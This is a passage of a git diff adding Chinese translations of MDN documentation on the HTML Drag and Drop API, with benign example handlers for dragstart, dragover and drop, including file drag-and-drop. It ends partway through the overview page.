在 HTML 中,除了图像、链接和选择的文本默认的可拖拽行为之外,其他元素在默认情况下是不可拖拽的。

+ +

要使其他的 HTML 元素可拖拽,必须做三件事:

+ + + +

下面的例子允许拖拽一个段落的内容:

+ +
<p draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+  This text <strong>may</strong> be dragged.
+</p>
+ +

属性 {{htmlattrxref("draggable")}} 设置为 "true",所以这个元素变成可拖拽的。如果该属性被省略或被设置为 "false",则该元素将不可拖拽,此时拖拽只会选中文本。

+ +

{{htmlattrxref("draggable")}} 属性可在任意元素上设置,包括图像和链接。然而,对于后两者,该属性的默认值是 true,所以你只会在禁用这二者的拖拽时使用到 {{htmlattrxref("draggable")}} 属性,将其设置为 false

+ +
+

注意:当一个元素被设置成可拖拽时, 元素中的文本和其他子元素不能再以正常的方式(通过鼠标点击和拖拽)被选中。用户必须按住 alt 键,再用鼠标选择文本,或者使用键盘选择。

+
+ +

开始拖拽操作

+ +

这个例子使用 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 属性为 {{event("dragstart")}} 事件添加监听程序。

+ +
<p draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+  This text <strong>may</strong> be dragged.
+</p>
+ +

当用户开始拖拽时,会触发 {{event("dragstart")}} 事件。

+ +

在这个例子中,{{event("dragstart")}} 事件监听程序被添加到可拖拽元素本身;然而,你可以监听一个祖先元素,因为就像大多数其他事件一样,拖拽事件会冒泡。

+ +

在 {{event("dragstart")}} 事件中,你可以指定拖拽数据、反馈图像和拖拽效果,所有这些都将在下面描述。不过,我们只需要设置拖拽数据,因为在大多数情况下默认的图像和拖拽效果都是适用的。

+ +

拖拽数据

+ +

所有 {{domxref("DragEvent","拖拽事件")}} 都有一个名为 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 的属性,它持有拖拽数据(dataTransfer 是一个 {{domxref("DataTransfer")}} 对象)。

+ +

当拖拽发生时,数据必须与被拖拽的项目相关联。例如,当在文本框中拖拽选定的文本时,与拖拽数据项相关联的数据就是文本本身。类似地,当在 Web 页面上拖拽链接时,拖拽数据项就是链接的 URL 。

+ +

{{domxref("DataTransfer","拖拽数据")}} 包含两个信息,数据的类型(或格式)和数据值。格式是一个类型字符串(例如文本数据的格式是 text/plain),值是一个文本字符串。拖拽开始时,你提供数据类型和数据值。在拖拽过程中,在 {{event("dragenter")}} 和 {{event("dragover")}} 事件监听程序中,你使用拖拽数据的类型来检查是否允许放置(drop)。例如,接受链接的放置目标将检查链接类型 text/uri-list。在放置事件中,监听程序将取回拖拽数据,并将其插入到放置位置。

+ +

{{domxref("DataTransfer","拖拽数据")}} 的 {{domxref("DataTransfer.types","类型")}} 属性返回一个类似 {{domxref("DOMString")}} 的 MIME-type 的列表,如 text/plain 或 image/jpeg。你还可以创建自己的类型。最常用的类型列在文章 推荐拖拽类型 中。

+ +

一次拖拽可能包括几个不同类型的数据项。这使得数据可以更具体的类型提供,通常是自定义类型,但若放置目标不支持这些具体类型,则会提供回退(fallback)数据。通常情况下,最不具体的类型是 text/plain 类型的普通文本数据,即一些简单的文本表示。

+ +

要在 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 中设置拖拽数据项,使用 {{domxref("DataTransfer.setData","setData()")}} 方法。这个方法接收两个参数,即数据类型和数据值。例如:

+ +
event.dataTransfer.setData("text/plain", "Text to drag");
+
+ +

在这个例子中,数据值是 “Text to drag”,数据类型是 text/plain 格式。

+ +

你可以提供多种格式的数据。要做到这一点,可以用不同的格式多次调用 {{domxref("DataTransfer.setData","setData()")}} 方法。你应该传入尽量具体的格式。

+ +
const dt = event.dataTransfer;
+dt.setData("application/x.bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+
+ +

在这里,数据被添加到三种不同的类型中。第一个类型 application/x-bookmark 是一种自定义类型。其他应用程序不会支持这个类型,但你可以在同一站点或同以应用程序之间使用自定义类型。

+ +

通过提供其他类型的数据,我们还可使用不那么具体的形式支持拖拽到其他应用程序。application/x.bookmark 类型可以提供更多的数据,以便在应用程序中使用,而另两个类型则只包含一个 URL 或文本版本。

+ +

注意,在本例中,text/uri-list 和 text/plain 包含相同的数据。这通常是正确的,但不一定要这么做。

+ +

如果你试图以相同的格式添加两次数据,那么新的数据将替换旧的数据。你可以使用 {{domxref("DataTransfer.clearData","clearData()")}} 方法清除这些数据,该方法接收一个参数,即要删除的数据类型。

+ +
event.dataTransfer.clearData("text/uri-list");
+
+ +

{{domxref("DataTransfer.clearData","clearData()")}} 方法的 type 参数是可选的。如果没有声明 type,则所有类型的数据都会被删除。如果拖拽不包含拖拽数据项,或者所有的数据项都被清除,那么就不会出现拖拽行为。

+ +

设置拖拽反馈图像

+ +

当拖拽发生时,会生成拖拽目标的一个半透明图像(触发"{event("dragstart")}}" 事件的元素),并在拖拽过程中跟踪鼠标指针。这个图像是自动创建的,所以你不需要自己创建它。但是,你可以使用 {{domxref("DataTransfer.setDragImage","setDragImage()")}} 方法来自定义拖拽反馈图像。

+ +
event.dataTransfer.setDragImage(image, xOffset, yOffset);
+
+ +

这三个参数都是必要的。第一个是图像的引用。这个引用通常是一个 <img> 元素,但也可以是 <canvas> 或任何其他元素。生成的反馈图像就是该图像在屏幕上的样子,以图像原始的大小绘制。{{domxref("DataTransfer.setDragImage","setDragImage()")}} 方法的第二、三个参数是图像位置相对于鼠标指针位置的偏移量。

+ +

也可以使用不在文档中的图像和画布。这种技术在使用 canvas 元素绘制自定义的拖拽反馈图像时非常有用,如下面的例子:

+ +
function dragWithCustomImage(event) {
+  var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+
+ +

在这个例子中,我们做了一个是画布的拖拽图像。当画布宽 50 像素,高 50 像素时,我们使用一半的偏移量(25 和 25),这样鼠标指针即为图像中心。

+ +

拖拽效果

+ +

拖拽过程中可能会执行一些操作。 copy 操作用来指示被拖拽的数据将从当前位置复制到放置位置。 move 操作指示被拖拽的数据会被移动,link 操作表示在源和放置位置之间将会创建某种形式的关系或连接。

+ +

你可以在 {{event("dragstart")}} 事件监听程序中设置 {{domxref("DataTransfer.effectAllowed","effectAllowed")}}  属性以指定允许拖拽源头执行三种操作中的哪几种。

+ +
event.dataTransfer.effectAllowed = "copy";
+
+ +

在这个例子中,只允许复制操作。

+ +

你可以不同的方式组合这些值:

+ +
+
none
+
不允许操作
+
copy
+
只复制
+
move
+
只移动
+
link
+
只链接
+
copyMove
+
复制或移动
+
copyLink
+
复制或链接
+
linkMove
+
链接或移动
+
all
+
复制、移动或链接
+
+ +

注意,这些值必须像上面列出的那样使用。例如,将 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 属性设置为copyMove 允许复制或移动操作,但阻止用户执行链接操作。属性默认允许以上所有的操作(all),所以你不需要调整这个属性,除非你想要排除某个特定操作。

+ +

在拖拽操作期间,{{event("dragenter")}} 或 {{event("dragover")}} 事件的监听程序可以检查 {{domxref("DataTransfer.effectAllowed","effectAllowed")}}  属性,以查看哪些操作是允许的。相关的 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性应该在其中的一个事件中设置,来指定应该执行哪一个单项操作。{{domxref("DataTransfer.dropEffect","dropEffect")}} 是 none, copy, move, 或 link。这个属性不使用上述的组合值。

+ +

在 {{event("dragenter")}}{{event("dragover")}} 事件中,{{domxref("DataTransfer.dropEffect","dropEffect")}} 属性被初始化为用户请求的效果。用户可以通过按下修饰键来修改为所需的效果。尽管使用什么修饰键取决于不同的平台,但典型情况下,ShiftCtrl 键用于在复制、移动和链接之间切换。鼠标指针会改变样式以指示需要的操作;例如,对于"复制"操作,光标可能会在旁边出现加号。

+ +

你可以在 {{event("dragenter")}} 或 {{event("dragover")}} 事件期间修改 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性,例如将某个放置目标设置为只支持某些操作。你可以修改 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性来覆盖用户指定的效果,并强制修改为一个特定的放置操作。 注意,这个效果必须是 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 属性中的一个。否则,它将被设置为允许的替代值。

+ +
event.dataTransfer.dropEffect = "copy";
+
+ +

在这个例子中,放置效果是复制。

+ +

你可以使用 none 表示在这个位置不允许任何放置,尽管在这种情况下,最好不要取消事件。

+ +

在 {{event("drop")}} 和 {{event("dragend")}} 事件中,你可以检查 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性,以确定最终选择了哪种效果。如果所选的效果是 "move",那么应该在 {{event("dragend")}} 事件中从拖拽源头删除拖拽数据。

+ +

指定放置目标

+ +

{{event("dragenter")}} 或 {{event("dragover")}} 事件的监听程序用于表示有效的放置目标,也就是被拖拽项目可能放置的地方。网页或应用程序的大多数区域都不是放置数据的有效位置。因此,这些事件的默认处理是不允许放置。

+ +

如果你想要允许放置,你必须取消 dragenter 和 dragover 事件来阻止默认的处理。你可以在属性定义的事件监听程序返回 false,或者调用事件的 {{domxref("Event.preventDefault","preventDefault()")}} 方法来实现这一点。在一个独立脚本中的定义的函数里,可能后者更可行。

+ +
<div ondragover="return false">
+<div ondragover="event.preventDefault()">
+
+ +

在 {{event("dragenter")}} 和 {{event("dragover")}} 事件中调用  {{domxref("Event.preventDefault","preventDefault()")}} 方法将表明在该位置允许放置 。但是,你通常希望只在某些情况下调用 {{domxref("Event.preventDefault","preventDefault()")}} 方法(如只当拖拽的是链接时)。

+ +

要做到这一点,调用一个函数以检查条件,并且只在满足条件时取消事件。如果条件未满足,则不取消事件,此时用户释放鼠标按钮不会执行放置。

+ +

最常见的是根据数据传输中拖拽数据的类型来接受或拒绝放置——例如,允许放置图像或链接,或者都允许。你可以检查{{domxref("DragEvent.dataTransfer","dataTransfer")}} 属性的{{domxref("DataTransfer.types","types")}} 属性来查看哪些类型允许放置。{{domxref("DataTransfer.types","types")}} 属性返回一个字符串类型的数组,这些字符串类型是在拖拽开始时添加的,顺序是从最重要到最不重要。

+ +
function contains(list, value) {
+    for( var i = 0; i < list.length; ++i ) {
+        if(list[i] === value) return true;
+    }
+    return false;
+}
+
+function doDragOver(event) {
+  var isLink = contains( event.dataTransfer.types, "text/uri-list");
+  if (isLink) {
+    event.preventDefault();
+  }
+}
+ +

在本例中,我们使用 includes 方法来检查 text/uri-list 是否出现在类型列表中。如果出现了,我们将取消这个事件以允许放置。如果拖拽数据不包含链接,则不取消事件,此位置也不允许放置。

+ +

如果你希望更具体地限制操作类型,你可能还需要设置 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 或 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性,或者两者都设置。当然,如果你不取消这个事件,改变这两个属性不会有任何效果。

+ +

放置反馈

+ +

有几种方法可以向用户表明哪个位置允许放置。鼠标指针将根据 {{domxref("DataTransfer.dropEffect","dropEffect")}}  属性的值做必要的更新。鼠标指针具体的外观取决于用户平台,典型的如加号图标会出现在 'copy' 中,而不允许放置时,会出现禁止放置的图标。在许多情况下,鼠标指针反馈就足够了。

+ +

但是,你还可以根据需要更新用户界面,如添加一个插入标记或使用高亮显示。对于简单的高亮显示,你可以在放置目标上使用 -moz-drag-over CSS 伪类。

+ +
.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+
+ +

在这个例子中,当带有 droparea 类的元素是一个有效的放置目标时,即在该元素的 {{event("dragenter")}} 事件中调用 {{domxref("Event.preventDefault","preventDefault()")}} 方法时,元素会出现一个 1 像素的黑色轮廓。

+ +
+

注意:要使这个伪类生效,你必须在 {{event("dragenter")}} 事件中调用 {{domxref("Event.preventDefault","preventDefault()")}} 方法,因为这个伪类状态不会检查 {{event("dragover")}} 事件(译者注:即在 {{event("dragover")}} 事件中调用 {{domxref("Event.preventDefault","preventDefault()")}} 方法也不会使伪类生效,尽管这个伪类叫做“-moz-drag-over”)。

+
+ +

对于更复杂的视觉效果,你可以在 {{event("dragenter")}} 事件中执行其他操作。例如在放置位置插入一个元素,这样的元素可以表示一个插入标记,或表示被拖拽的元素移动到了新位置。为此你可以在 {{event("dragenter")}} 事件中创建一个新元素,然后将其插入到文档中。

+ +

{event("dragover")}} 事件在鼠标指向的元素上触发。自然,你可能需要将插入标记移动到事件发生的位置附近。你可以使用事件的 {{domxref("MouseEvent.clientX","clientX")}} 和 {{domxref("MouseEvent.clientY","clientY")}} 属性,还有其他鼠标事件的属性来确定鼠标的位置。

+ +

最后,{{event("dragleave")}} 事件会在拖拽离开元素时在该元素上触发。这是移除插入标记或高亮的好时机。你不需要取消这个事件(译者注:即不需要使用 {{domxref("Event.preventDefault","preventDefault()")}} )。使用 -moz-drag-over 伪类设置的高亮或其他视觉效果会被自动移除。即使拖拽被取消了,{{event("dragleave")}} 事件也会照常触发,所以你可以确保在这个事件中对任何插入标记的清除操作都一定可以完成。

+ +

执行放置

+ +

当用户放开鼠标,拖放操作就会结束。

+ +

如果在有效的放置目标元素(即取消了 {{event("dragenter")}} 或 {{event("dragover")}} 的元素)上放开鼠标,放置会成功实现,{{event("drop")}} 事件在目标元素上被触发。否则,拖拽会被取消,不会触发 {{event("drop")}} 事件。

+ +

在 {{event("drop")}} 事件中,你应该取回放置的数据并将其插入到放置的位置。你可以使用 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性来确定需要哪种拖拽操作。

+ +

在所有拖拽操作相关的事件中,事件的 domxref("DragEvent.dataTransfer","dataTransfer")}} 属性会一直保存着拖拽数据。可使用 {{domxref("DataTransfer.getData","getData()")}} 方法来取回数据。

+ +
function onDrop(event) {
+  const data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+ +

{{domxref("DataTransfer.getData","getData()")}} 方法接收一个参数,取回数据的类型。这个方法会返回拖拽操作开始时调用 {{domxref("DataTransfer.setData","setData()")}} 方法设置的字符串值。如果不存在传入类型的数据,则会返回空字符串。自然,你应该知道哪种类型的数据可用,因为之前你应该已经在 {{event("dragover")}} 事件中检查过数据类型了。

+ +

在上面的例子中,我们一取回数据就把它作为文本内容插入到目标中。实际效果就是拖拽文本被插入到放置位置,假设放置目标是文本区域,例如 p 或 div 元素。

+ +

在一个网页中,如果你想接收一个放置,不想让浏览器的默认处理程序处理放置数据,你应该调用事件的 {{domxref("Event.preventDefault","preventDefault()")}} 方法。例如,当拖拽一个链接到网页时,Firefox 会打开这个链接。而你可以通过取消事件来阻止这样的行为。

+ +

你可以取回其他类型的数据。如果数据是一个链接,其类型应为 text/uri-list。你可以将链接插入到内容中。

+ +
function doDrop(event) {
+  const lines = event.dataTransfer.getData("text/uri-list").split("\n");
+  lines.filter(line => !line.startsWith("#"))
+    .forEach(line => {
+      const link = document.createElement("a");
+      link.href = line;
+      link.textContent = line;
+      event.target.appendChild(link);
+    })
+  event.preventDefault();
+}
+ +

这个例子使用拖拽数据插入链接。顾名思义,text/uri-list 类型可包含一个 URL 列表,每行一个 URL。在上述代码中,我们使用 split 方法将字符串按行分割,然后迭代列表的每一行,将每一个链接都插入到文档中。注意到我们跳过了井号(#)开头的链接,因为那些只是注释。

+ +

在简单的情况中,你可以使用一个特别的类型 URL 来取回列表中第一个有效的 URL。例如:

+ +
var link = event.dataTransfer.getData("URL");
+
+ +

这样就不需要检查注释或者迭代每一行了。但这样就只能取回列表中的第一个 URL。

+ +

URL 类型是一个特别的类型,只作为简写类型,不在 {{domxref("DataTransfer.types","types")}} 属性规定的类型列表中出来。

+ +

有时你可能支持不同的格式,而你希望取回数据的格式是支持格式中最具体的一种。在这个例子中,放置目标支持三种格式。

+ +

下面的例子返回格式支持最佳的数据:

+ +
function doDrop(event) {
+  const supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  const types = event.dataTransfer.types.filter(type => supportedTypes.includes(type));
+  if (types.length) {
+    const data = event.dataTransfer.getData(types[0]);
+  }
+  event.preventDefault();
+}
+
+ +

完成拖拽

+ +

一旦拖拽完成,{{event("dragend")}} 事件会在拖拽源头(即触发 {{event("dragstart")}} 的元素)上发生。无论拖拽是成功[1]还是被取消,这个事件都会被触发。然而,你可以使用 {{domxref("DataTransfer.dropEffect","dropEffect")}} 属性来决定执行什么放置操作。

+ +

如果在{{event("dragend")}} 事件中,{{domxref("DataTransfer.dropEffect","dropEffect")}} 属性值为 none,则拖拽会被取消。否则,这个属性会规定需要执行什么操作。源头元素可使用这个信息以在拖拽操作完成后从原来的位置移除被拖拽的项目。{{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} 属性会在用户取消拖拽(按下 Esc 键)时设置为 true,在拖拽因为其他原因如无效放置目标等被取消时,或拖拽成功时,则设置为 false。

+ +

放置可发生在同一窗口或另一个应用程序中。两种情况都会触发 {{event("dragend")}} 事件。事件的 {{domxref("MouseEvent.screenX","screenX")}} 和 {{domxref("MouseEvent.screenY","screenY")}} 属性会被设置为放置发生时鼠标在屏幕上的坐标。

+ +

{event("dragend")}} 事件结束后,整个拖放操作就完成了。

+ +

[1] 在 Gecko 内核中,如果源头节点在拖拽过程中(如放置或 {{event("dragover")}} 中)被移动或移除了,则不会触发 {{event("dragend")}} 事件。参见 bug 460801

+ +

参见

+ + diff --git a/files/zh-cn/web/api/html_drag_and_drop_api/file_drag_and_drop/index.html b/files/zh-cn/web/api/html_drag_and_drop_api/file_drag_and_drop/index.html new file mode 100644 index 0000000000..eedb91e7bf --- /dev/null +++ b/files/zh-cn/web/api/html_drag_and_drop_api/file_drag_and_drop/index.html @@ -0,0 +1,91 @@ +--- +title: File drag and drop +slug: Web/API/HTML_Drag_and_Drop_API/File_drag_and_drop +translation_of: Web/API/HTML_Drag_and_Drop_API/File_drag_and_drop +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

HTML拖放接口使得web应用能够在网页中拖放文件。这篇文档介绍了web应用如何接受从底层平台的文件管理器拖动一个或多个文件到网页的操作。

+ +

拖放的主要步骤是为 {{event("drop")}} 事件定义一个释放区(释放文件的目标元素)和为{{event("dragover")}}事件定义一个事件处理程序。下面描述了这些步骤,包括示例程序片段。完整的源码在MDN's drag-and-drop repository (欢迎提交pull requests和/或issues).

+ +

注意: {{domxref("HTML_Drag_and_Drop_API","HTML drag and drop")}}定义了两套不同的API来支持拖放文件。一个{{domxref("DataTransfer")}}接口和另一个{{domxref("DataTransferItem")}}与{{domxref("DataTransferItemList")}}接口。这个示例介绍了这两种API的用法(没有使用任何Gecko专用的接口)。

+ +

定义拖放区域

+ +

触发 {{event("drop")}} 事件的目标元素需要一个{{domxref("GlobalEventHandlers.ondrop","ondrop")}} 事件处理函数 。下面这一段代码以一个 {{HTMLelement("div")}} 元素为例展示了这些工作是如何完成的:

+ +
<div id="drop_zone" ondrop="dropHandler(event);">
+  <p>Drag one or more files to this Drop Zone ...</p>
+</div>
+ +

一般来说,在实际应用中需要定义一个 {{event("dragover")}} 事件的处理函数并在其中加入关闭浏览器默认拖放行为的代码。你需要定义一个 {{domxref("GlobalEventHandlers.ondragover","ondragover")}} 事件处理函数:

+ +
<div id="drop_zone" ondrop="dropHandler(event);" ondragover="dragOverHandler(event);">
+  <p>Drag one or more files to this Drop Zone ...</p>
+</div>
+
+ +

最后,在实际应用中可能需要给实现释放文件的元素加些样式来从视觉上向使用者说明这是一个有效释放区域。在这个示例中,实现释放文件的元素将使用如下样式:

+ +
#drop_zone {
+  border: 5px solid blue;
+  width:  200px;
+  height: 100px;
+}
+
+ +
+

注意当执行将文件拖入浏览器的操作时操作系统并不会触发 dragstart 和 dragend 事件。

+
+ +

执行释放事件

+ +

当用户释放文件时 {{event("drop")}} 事件将会被触发。在下面的 drop 处理函数中,如果浏览器支持 {{domxref("DataTransferItemList")}} 接口,则可以使用 {{domxref("DataTransferItem.getAsFile","getAsFile()")}} 来获取每个文件;否则使用 {{domxref("DataTransfer")}} 接口的 {{domxref("DataTransfer.files","files")}} 属性来获取每个文件。

+ +

这个示例展示了如何讲每个被拖动的文件的名字输出到控制台。在实际应用中可能会用到 {{domxref("File","File API")}} 来处理一个文件。

+ +

注意在这个例子中,任何被拖动的非文件内容都会被忽略。

+ +
function dropHandler(ev) {
+  console.log('File(s) dropped');
+
+  // Prevent default behavior (Prevent file from being opened)
+  ev.preventDefault();
+
+  if (ev.dataTransfer.items) {
+    // Use DataTransferItemList interface to access the file(s)
+    for (var i = 0; i < ev.dataTransfer.items.length; i++) {
+      // If dropped items aren't files, reject them
+      if (ev.dataTransfer.items[i].kind === 'file') {
+        var file = ev.dataTransfer.items[i].getAsFile();
+        console.log('... file[' + i + '].name = ' + file.name);
+      }
+    }
+  } else {
+    // Use DataTransfer interface to access the file(s)
+    for (var i = 0; i < ev.dataTransfer.files.length; i++) {
+      console.log('... file[' + i + '].name = ' + ev.dataTransfer.files[i].name);
+    }
+  }
+}
+ +

阻止浏览器的默认释放行为

+ +

下面的 {{event("dragover")}} 事件处理函数调用  {{domxref("Event.preventDefault","preventDefault()")}} 来关闭浏览器的默认拖动和释放行为。

+ +
function dragOverHandler(ev) {
+  console.log('File(s) in drop zone');
+
+  // Prevent default behavior (Prevent file from being opened)
+  ev.preventDefault();
+}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/html_drag_and_drop_api/index.html b/files/zh-cn/web/api/html_drag_and_drop_api/index.html new file mode 100644 index 0000000000..98718c5e67 --- /dev/null +++ b/files/zh-cn/web/api/html_drag_and_drop_api/index.html @@ -0,0 +1,287 @@ +--- +title: HTML 拖放 API +slug: Web/API/HTML_Drag_and_Drop_API +tags: + - HTML5 + - XUL + - drag and drop + - 事件 + - 总览 + - 拖放 + - 指南 + - 进阶 +translation_of: Web/API/HTML_Drag_and_Drop_API +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

HTML 拖放(Drag and Drop)接口使应用程序能够在浏览器中使用拖放功能。例如,用户可使用鼠标选择可拖拽(draggable)元素,将元素拖拽到可放置(droppable)元素,并释放鼠标按钮以放置这些元素。拖拽操作期间,会有一个可拖拽元素的半透明快照跟随着鼠标指针。

+ +

对于网站、扩展以及 XUL 应用程序,你可以自定义什么元素是可拖拽的、可拖拽元素产生的反馈类型,以及可放置的元素。

+ +

此文档为 HTML 拖放的概述,包含了相关接口的说明、在应用程序中加入拖放支持的基本步骤,以及相关接口的使用简介。

+ +

拖拽事件

+ +

HTML 的 drag & drop 使用了 {{domxref("Event","DOM event model")}} 以及从 {{domxref("MouseEvent","mouse events")}} 继承而来的 {{domxref("DragEvent","drag events")}} 。一个典型的拖拽操作是这样的:用户选中一个可拖拽的(draggable)元素,并将其拖拽(鼠标不放开)到一个可放置的(droppable)元素,然后释放鼠标。

+ +

在操作期间,会触发一些事件类型,有一些事件类型可能会被多次触发(比如{{event("drag")}} 和 {{event("dragover")}} 事件类型)。

+ +

所有的 拖拽事件类型 有一个对应的 拖拽全局属性。每个拖拽事件类型和拖拽全局属性都有对应的描述文档。下面的表格提供了一个简短的事件类型描述,以及一个相关文档的链接。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件On型事件处理程序触发时刻
{{event('drag')}}{{domxref('GlobalEventHandlers.ondrag','ondrag')}}当拖拽元素或选中的文本时触发。
{{event('dragend')}}{{domxref('GlobalEventHandlers.ondragend','ondragend')}}当拖拽操作结束时触发 (比如松开鼠标按键或敲“Esc”键). (见结束拖拽)
{{event('dragenter')}}{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}当拖拽元素或选中的文本到一个可释放目标时触发(见 指定释放目标)。
{{event('dragexit')}}{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}当元素变得不再是拖拽操作的选中目标时触发。
{{event('dragleave')}}{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}当拖拽元素或选中的文本离开一个可释放目标时触发。
{{event('dragover')}}{{domxref('GlobalEventHandlers.ondragover','ondragover')}}当元素或选中的文本被拖到一个可释放目标上时触发(每100毫秒触发一次)。
{{event('dragstart')}}{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}当用户开始拖拽一个元素或选中的文本时触发(见开始拖拽操作)。
{{event('drop')}}{{domxref('GlobalEventHandlers.ondrop','ondrop')}}当元素或选中的文本在可释放目标上被释放时触发(见执行释放)。
+ +

注意:当从操作系统向浏览器中拖拽文件时,不会触发 dragstartdragend 事件。

+ +

接口

+ +

HTML 的拖拽接口有 {{domxref("DragEvent")}}, {{domxref("DataTransfer")}}, {{domxref("DataTransferItem")}} 和{{domxref("DataTransferItemList")}}。

+ +

{{domxref("DragEvent")}} 接口有一个构造函数和一个 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 属性,dataTransfer 属性是一个 {{domxref("DataTransfer")}} 对象。

+ +

{{domxref("DataTransfer")}} 对象包含了拖拽事件的状态,例如拖拽事件的类型(如拷贝 copy 或者移动 move),拖拽的数据(一个或者多个项)和每个拖拽项的类型(MIME类型)。 {{domxref("DataTransfer")}} 对象也有向拖拽数据中添加或删除项目的方法。

+ +

给应用程序添加 HTML 拖放功能,{{domxref("DragEvent")}} 和 {{domxref("DataTransfer")}} 接口应该是唯二需要的接口(Firefox 给 {{domxref("DataTransfer")}} 添加了一些 Gecko 专有的扩展功能,但这些扩展只在 Firefox 上可用)。

+ +

每个 {{domxref("DataTransfer")}} 都包含一个  {{domxref("DataTransfer.items","items")}} 属性,这个属性是 {{domxref("DataTransferItem")}} 对象的 {{domxref("DataTransferItemList","list")}}。一个 {{domxref("DataTransferItem")}} 代表一个拖拽项目,每个项目都有一个 {{domxref("DataTransferItem.kind","kind")}} 属性(string 或 file) 和一个表示数据项目 MIME 类型的 {{domxref("DataTransferItem.type","type")}} 属性。{{domxref("DataTransferItem")}} 对象也有获取拖拽项目数据的方法。

+ +

{{domxref("DataTransferItemList")}} 对象是 {{domxref("DataTransferItem")}} 对象的列表。这个列表对象包含以下方法:向列表中添加拖拽项,从列表中移除拖拽项和清空列表中所有的拖拽项。

+ +

{{domxref("DataTransfer")}} 和 {{domxref("DataTransferItem")}} 接口的一个主要的不同是前者使用同步的 {{domxref("DataTransfer.getData","getData()")}} 方法去得到拖拽项的数据,而后者使用异步的 {{domxref("DataTransferItem.getAsString","getAsString()")}} 方法得到拖拽项的数据。

+ +

注意: {{domxref("DragEvent")}} 和 {{domxref("DataTransfer")}} 接口是所有桌面浏览器都支持的。但是, {{domxref("DataTransferItem")}} 和{{domxref("DataTransferItemList")}} 接口并不被所有浏览器支持。请移步 {{anch("互操作性")}} 了解更多关于拖拽行为的信息.

+ +

Gecko 专用接口

+ +

Mozilla 和 Firefox 支持一些不在标准拖放模型中的特性。 它们是一些帮助实现拖拽多个项目和拖拽非文本内容(如文件)的便捷函数。想要了解更多信息,请参见 拖放多个项目。另外,请查看 {{domxref("DataTransfer")}} 参考页以获取所有 Gecko 专有属性Gecko 专有方法

+ +

基础

+ +

这一部分总结了给应用程序加入拖放功能的基本步骤。

+ +

确定什么是可拖拽的

+ +

让一个元素被拖拽需要添加 {{htmlattrxref("draggable")}} 属性,再加上全局事件处理函数{{domxref("GlobalEventHandlers.ondragstart","ondragstart")}},如下面的示例代码所示:

+ +
<script>
+  function dragstart_handler(ev) {
+    // Add the target element's id to the data transfer object
+    ev.dataTransfer.setData("text/plain", ev.target.id);
+  }
+
+  window.addEventListener('DOMContentLoaded', () => {
+    // Get the element by id
+    const element = document.getElementById("p1");
+    // Add the ondragstart event listener
+    element.addEventListener("dragstart", dragstart_handler);
+  });
+</script>
+
+<p id="p1" draggable="true">This element is draggable.</p>
+ +

查看更多 draggable 属性 和 拖拽操作指南

+ +

定义拖拽数据

+ +

应用程序可以在拖拽操作中包含任意数量的数据项。每个数据项都是一个 {{domxref("DOMString","string")}} 类型,典型的 MIME 类型,如:text/html

+ +

每个 {{domxref("DragEvent","drag event")}} 都有一个{{domxref("DragEvent.dataTransfer","dataTransfer")}} 属性,其中保存着事件的数据。这个属性({{domxref("DataTransfer")}} 对象)也有管理拖拽数据的方法。{{domxref("DataTransfer.setData","setData()")}} 方法为拖拽数据添加一个项,如下面的示例代码所示:

+ +
function dragstart_handler(ev) {
+  // 添加拖拽数据
+  ev.dataTransfer.setData("text/plain", ev.target.innerText);
+  ev.dataTransfer.setData("text/html", ev.target.outerHTML);
+  ev.dataTransfer.setData("text/uri-list", ev.target.ownerDocument.location.href);
+}
+
+ +

查看 推荐拖拽类型 了解可拖拽的常见数据类型(如文本、HTML、链接和文件),移步 拖拽数据 获取更多有关拖拽数据的信息。

+ +

定义拖拽图像

+ +

拖拽过程中,浏览器会在鼠标旁显示一张默认图片。当然,应用程序也可以通过 {{domxref("DataTransfer.setDragImage","setDragImage()")}} 方法自定义一张图片,如下面的例子所示。

+ +
function dragstart_handler(ev) {
+  // Create an image and then use it for the drag image.
+  // NOTE: change "example.gif" to a real image URL or the image
+  // will not be created and the default drag image will be used.
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+
+ +

欲了解更多关于拖拽图像的信息,见 设置拖拽图像

+ +

定义拖拽效果

+ +

{{domxref("DataTransfer.dropEffect","dropEffect")}} 属性用来控制拖放操作中用户给予的反馈。它会影响到拖拽过程中浏览器显示的鼠标样式。比如,当用户悬停在目标元素上的时候,浏览器鼠标也许要反映拖放操作的类型。

+ +

有 3 个效果可以定义:

+ +
    +
